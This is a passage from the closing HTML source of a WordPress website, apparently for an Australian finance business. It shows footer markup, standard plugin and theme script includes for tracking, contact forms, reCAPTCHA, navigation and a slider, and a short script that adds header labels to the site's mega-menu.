5.37258 24.5 12 24.5C18.6274 24.5 24 19.1274 24 12.5C24 5.87258 18.6274 0.5 12 0.5ZM5.7608 10.4389H8.48027V18.6098H5.7608V10.4389ZM8.65939 7.91135C8.64174 7.1102 8.06883 6.5 7.13852 6.5C6.20821 6.5 5.60001 7.1102 5.60001 7.91135C5.60001 8.6959 6.19023 9.32367 7.10322 9.32367H7.1206C8.06883 9.32367 8.65939 8.6959 8.65939 7.91135ZM15.1566 10.2471C16.9461 10.2471 18.2877 11.4151 18.2877 13.9249L18.2876 18.6098H15.5682V14.2384C15.5682 13.1404 15.1747 12.3911 14.1903 12.3911C13.4389 12.3911 12.9914 12.8962 12.7949 13.3841C12.723 13.5589 12.7053 13.8025 12.7053 14.0467V18.61H9.98555C9.98555 18.61 10.0214 11.2059 9.98555 10.4391H12.7053V11.5965C13.0663 11.0401 13.7127 10.2471 15.1566 10.2471Z" fill="#FFD400"></path> </svg></span></a></div></div></div><!-- data-section="mobile_social" -->
							</div>
		</div>
	</div>
	<script id="site_tracking-js-extra">
var php_data = {"ac_settings":{"tracking_actid":66298552,"site_tracking_default":1},"user_email":""};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/activecampaign-subscription-forms/site_tracking.js?ver=6.6.2" id="site_tracking-js"></script>
<script id="adrotate-clicker-js-extra">
var click_object = {"ajax_url":"https:\/\/intuitivefinance.com.au\/wp-admin\/admin-ajax.php"};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/adrotate/library/jquery.clicker.js" id="adrotate-clicker-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18" id="wp-hooks-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.0" id="swv-js"></script>
<script id="contact-form-7-js-translations">
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "contact-form-7", {"translation-revision-date":"2024-03-18 08:28:25+0000","generator":"GlotPress\/4.0.1","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=2; plural=n != 1;","lang":"en_AU"},"Error:":["Error:"]}},"comment":{"reference":"includes\/js\/index.js"}} );
</script>
<script id="contact-form-7-js-before">
var wpcf7 = {
    "api": {
        "root": "https:\/\/intuitivefinance.com.au\/wp-json\/",
        "namespace": "contact-form-7\/v1"
    }
};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.0" id="contact-form-7-js"></script>
<script id="wpcf7-redirect-script-js-extra">
var wpcf7r = {"ajax_url":"https:\/\/intuitivefinance.com.au\/wp-admin\/admin-ajax.php"};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/wpcf7-redirect/build/js/wpcf7r-fe.js?ver=1.1" id="wpcf7-redirect-script-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/splide/splide.min.js?ver=4.0.0" id="splide-js-js"></script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence-child/js/splide/splide-extension-grid.js" id="splide-grid-ext-js-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/comment-reply.min.js?ver=6.6.2" id="comment-reply-js" async data-wp-strategy="async"></script>
<script id="kadence-navigation-js-extra">
var kadenceConfig = {"screenReader":{"expand":"Child menu","expandOf":"Child menu of","collapse":"Child menu","collapseOf":"Child menu of"},"breakPoints":{"desktop":"1024","tablet":768},"scrollOffset":"0"};
</script>
<script src="https://intuitivefinance.com.au/wp-content/themes/kadence/assets/js/navigation.min.js?ver=1.2.12" id="kadence-navigation-js" async></script>
<script src="https://www.google.com/recaptcha/api.js?render=6LdI5_cqAAAAABTKOXpMEgSvMooDUCJ3DXt8dIWy&amp;ver=3.0" id="google-recaptcha-js"></script>
<script src="https://intuitivefinance.com.au/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script>
<script id="wpcf7-recaptcha-js-before">
var wpcf7_recaptcha = {
    "sitekey": "6LdI5_cqAAAAABTKOXpMEgSvMooDUCJ3DXt8dIWy",
    "actions": {
        "homepage": "homepage",
        "contactform": "contactform"
    }
};
</script>
<script src="https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=6.0" id="wpcf7-recaptcha-js"></script>


<script>
//MEGAMENU COLUMN HEADER
document.addEventListener("DOMContentLoaded", function() {
    // Select all parent items that contain sub-menus
    const parentItems = document.querySelectorAll('.mega-menu, .mega-menu .menu-item-has-children');
    parentItems.forEach((parent) => {
        // Select the label container
        const labelContainer = parent.querySelector('.sub-menu');
        
        // Create a new span element for the header
        const header = document.createElement('span');
        
        // Get the text content from the label, excluding children
        let parentLabel = parent.querySelector('a').textContent;
        // if(!labelContainer){
        //     return;
        // }
        // labelContainer.childNodes.forEach(node => {
        //     if (node.nodeType === Node.TEXT_NODE) {
        //         parentLabel += node.textContent.trim();
        //     }
        // });

        // Set the text content for the header to the parent's text label
        header.textContent = parentLabel;
        
        // Add a class to the span for styling (optional)
        header.className = 'sub-menu-header';

        // Select the sub-menu wrapper within this parent item
        const subMenuWrapper = parent.querySelector('.submenu-wrapper') || parent.querySelector('ul');

        if (subMenuWrapper) {
            // Move the header to the beginning of the sub-menu wrapper
            subMenuWrapper.insertBefore(header, subMenuWrapper.firstChild);
        }
    });
});

</script>
</body>
</html>